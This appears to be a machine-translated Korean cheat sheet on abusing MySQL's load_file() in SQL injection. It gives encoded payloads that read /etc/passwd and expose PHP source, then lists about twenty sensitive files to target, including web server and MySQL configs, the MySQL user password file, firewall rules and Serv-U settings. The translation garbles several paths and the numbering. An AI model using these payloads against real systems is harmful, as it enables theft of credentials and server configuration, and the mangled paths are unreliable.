Mysql에서 loadfile()의 일반적인 사용법

1.replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2.replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60) ,char(32))
위 두 가지는 PHP 파일에서 전체 표시 코드를 보기 위한 것입니다. 때로는 "<"와 같은 일부 문자가 "공백"으로 대체되지 않고 웹 페이지가 반환됩니다. . 코드를 볼 수 없습니다.

3. load_file(char(47))은 FreeBSD, Sunos 시스템 루트 디렉터리를 나열할 수 있습니다.

4. usr/local/apche/ conf/httpd.conf Linux APACHE 가상 호스트 구성 파일 보기

5. c:Program FilesApache GroupApacheconf httpd.conf 또는 C:apacheconf httpd.conf WINDOWS 시스템 Apache 파일 보기

6. c: /Resin-3.0.14/conf/resin.conf jsp에서 개발한 웹사이트의 resin 파일 구성 정보를 봅니다.

7. conf /usr/local/resin/conf/resin .conf Linux 시스템에 구성된 JSP 가상 호스트 보기

8, d:APACHEApache2confhttpd.conf

9, C:Program Filesmysqlmy.ini

10, ../themes/ darkblue_orange/layout.inc.php phpmyadmin 폭발 경로

11. c:windowssystem32inetsrvMetaBase.xml IIS 가상 호스트 구성 파일 보기

12. /usr/local/resin-3.0.22/conf /resin.conf 3.0.22

13, /usr/local/resin-pro-3.0.22/conf/resin에 대한 RESIN 구성 파일을 봅니다. conf 위와 동일

14, /usr /local/app/apache2/conf/extra/httpd-vhosts.conf APASHE 가상 호스트 보기

15, /etc/sysconfig/iptables 이 보기 방화벽 정책

16, usr/local/ app/php5/lib/php.ini PHP 동등 설정

17, /etc/my.cnf MYSQL 구성 파일

18 , /etc/redhat-release Red Hat 시스템 버전

19, C:mysqldatamysqluser.MYD 사용자 비밀번호가 MYSQL 시스템

20, /etc/sysconfig/network-scripts/ifcfg에 있습니다. -eth0 IP보기.

21, /usr/local/app/php5/lib/php.ini //PHP 관련 설정

22, /usr/local/app/apache2/conf /extra/httpd-vhosts.conf //가상 웹사이트 설정

23. c:Program FilesRhinoSoft.comServ-USErUDaemon.ini

24.c:windowsmy.ini